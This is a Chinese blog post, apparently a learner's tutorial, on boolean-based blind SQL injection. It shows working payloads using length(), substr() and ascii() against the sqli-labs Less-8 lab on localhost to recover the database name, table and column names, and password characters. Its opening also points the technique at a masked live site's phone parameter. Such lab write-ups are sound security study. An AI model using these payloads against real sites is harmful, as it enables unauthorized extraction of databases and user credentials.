Welcome To

Fsdstar

Simple but not simple

记一次简单的sql盲注(基于布尔型)

发表于 • 810 次围观 • 活捉 0 条

0x0 查找漏洞连接

            http://xxxx.com/yt/index.php/Home/Register/phone.html?phone=123

            具体的查找方式可以使用很基本的在后面添加 or 1=1和or 1=2 如果两个现实出不同的结果则证明注入存在

            这次遇到的是返回0和1的结果,所以这里应该使用基于布尔的盲注


0x1 什么是盲注

            在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面而是以真假的形式返回。


0x2 攻击流程

            首先我们先梳理一下攻击的方式和流程。我们需要先获得数据库名的长度根据长度一个一个判断字符得到数据库名称,随后根据数据库名称拿到一共有多少表。再根据表拿到所有的表的长度根据长度拿到具体的表名,同理拿到列名和具体的数据,所以原理不难主要是需要写点代码

            需要用到的函数:

            length函数:


substr函数:



Ascii:


然后通过上面的函数首先构造一个猜测数据库名长度的函数

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10



返回错误 说明length小于10
然后继续猜测是不是大于5

http://127.0.0.1/Less-8/?id=1' and (length(database()))>5



返回正确说明长度大于5小于10
最后得到结果为

http://127.0.0.1/Less-8/?id=1' and (length(database()))=8



返回正确 长度为八 也就是security
接下来利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句 因为现在只知道长度不知道具体内容
构造语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100

返回正确说明第一个字母的ascii码大于100

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>110

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<120

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<115

返回错误

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115

返回正确 通过查ascii码表可知 ascii(115)=s 也就是security 的第一个字母
通过改变database()后面的数字 可以继续猜测第二个字母第三个字母
接下来改变语句去猜测表名
构造这个语句的时候发现自己还是不够熟练 弄错了好几次

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100

返回正确 当等于101的时候返回正确 101为 e 查看mysql 得知第一个表为emails 正确结果

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114

猜测列名只需要改变几个地方

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100

获取user表的内容 经过猜测 ascii为 105  为i  也就是表的第一个列名 id的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段
接着获取 username 与 password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取password里面的内容 username一样
具体语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68

ascii(68)=D  正确
手工盲注很繁琐 需要一个一个的试 不过现在还是先学习手工理解了sql注入的原理再去用工具比较好



阅读全文>>